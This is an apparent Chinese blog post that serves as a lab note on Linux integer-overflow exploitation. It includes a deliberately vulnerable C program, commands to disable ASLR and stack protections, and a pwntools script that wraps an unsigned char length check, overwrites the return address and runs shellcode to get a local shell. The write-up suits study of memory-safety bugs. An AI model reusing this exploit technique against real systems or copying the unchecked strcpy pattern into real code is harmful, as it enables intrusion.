NEKO

Linux-Exploit之整数溢出

2018/05/22

本文为看雪精华18之Linux Exploit开发系列的实践笔记

操作系统:ubuntu16.04
gcc版本:gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9)
gdb版本:GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1

主要考察整数溢出的知识点,通过整数溢出绕过判断语句,之后和实验一的思路就一样了,只不过shellcode的位置要有所改动.

x86的C中每个类型都有其范围:

以unsigned char为例,
unsigned char的范围为0~255,因为unsigned char占一个字节.
如果把261赋给一个unsigned char的变量,则此变量会变为5.
原理:
261的二进制为:0b100000101
取低8位:0b00000101
即数字5

为了方便使用pwntools,从stdin读取passwd,主程序中定义了char passwd[400]是为了方便溢出,实际生活中并不会出现.

通过输出passwd_buf地址进行来定位.
同时去掉了一些无用的部分,只留下了关键代码.

漏洞程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void vulnerable(char * passwd){
char passwd_buf[11];
printf("buf_addr:%x\n",&passwd_buf);
unsigned char passwd_len;
passwd_len=strlen(passwd);
printf("passwd_len:%d\n",passwd_len);
if(passwd_len>=4 && passwd_len<=8){
printf("Valid passwd\n");
fflush(stdout);
strcpy(passwd_buf,passwd);
}else{
printf("Invaild passwd\n");
fflush(stdout);
}
}

int main(){
char passwd[400];
gets(passwd);
vulnerable(passwd);
return 0;
}

先关闭ubuntu的aslr(地址随机化):

1
neko@ubuntu:~/neko$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/neko$ gcc -m32 -fno-stack-protector -z execstack crackme2.c -o crackme2.out

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护
-z execstack:开启栈可执行代码

首先执行程序,获得passwd_buf地址buf_addr=0xffffcda4.

我们知道只要输入261个字符便可通过整数溢出使passwd_len变为5,从而绕过if(passwd_len>=4 && passwd_len<=8)的判断.

ida中的vulnerable():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char *__cdecl vulnerable(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

printf("buf_addr:%x\n", &dest);
v3 = strlen(s);
printf("passwd_len:%d\n", v3);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invaild passwd");
result = (char *)fflush(_bss_start);
}
else
{
puts("Valid passwd");
fflush(_bss_start);
result = strcpy(&dest, s);
}
return result;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
p=process('./crackme2.out')
buf_addr=0xffffcda4
shellcode=asm(shellcraft.i386.sh()) #shellcode
shell_addr=buf_addr+0x18+0x4 #由于shellcode的长度为44,所以不能直接把shellcode放在passwd_buf的起始位置,否则无法覆盖vulnerable()的返回地址,选择把shellcode放在vulnerable()返回地址的后面,即起始位置+0x18的填充+0x4的返回地址.
payload=''
payload+='a'*0x14+'a'*4 //0x14的栈空间+4字节的ebp
payload+=p32(shell_addr)//返回地址覆盖为shell_addr的地址
payload+=shellcode //shellcode
payload+='a'*(261-0x18-0x4-len(shellcode)) //填充至261长度
p.sendline(payload)
p.interactive()

实验结果:

1
2
3
4
5
6
7
8
9
neko@ubuntu:~/neko$ python exp2.py 
[+] Starting local process './crackme2.out': pid 91949
[*] Switching to interactive mode
buf_addr:ffffcda4
passwd_len:5
Valid passwd
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

原文作者: n3k0

发表日期: May 22nd 2018, 2:46:26

发出嘶吼: 没有魔夜2玩我要死了

CATALOG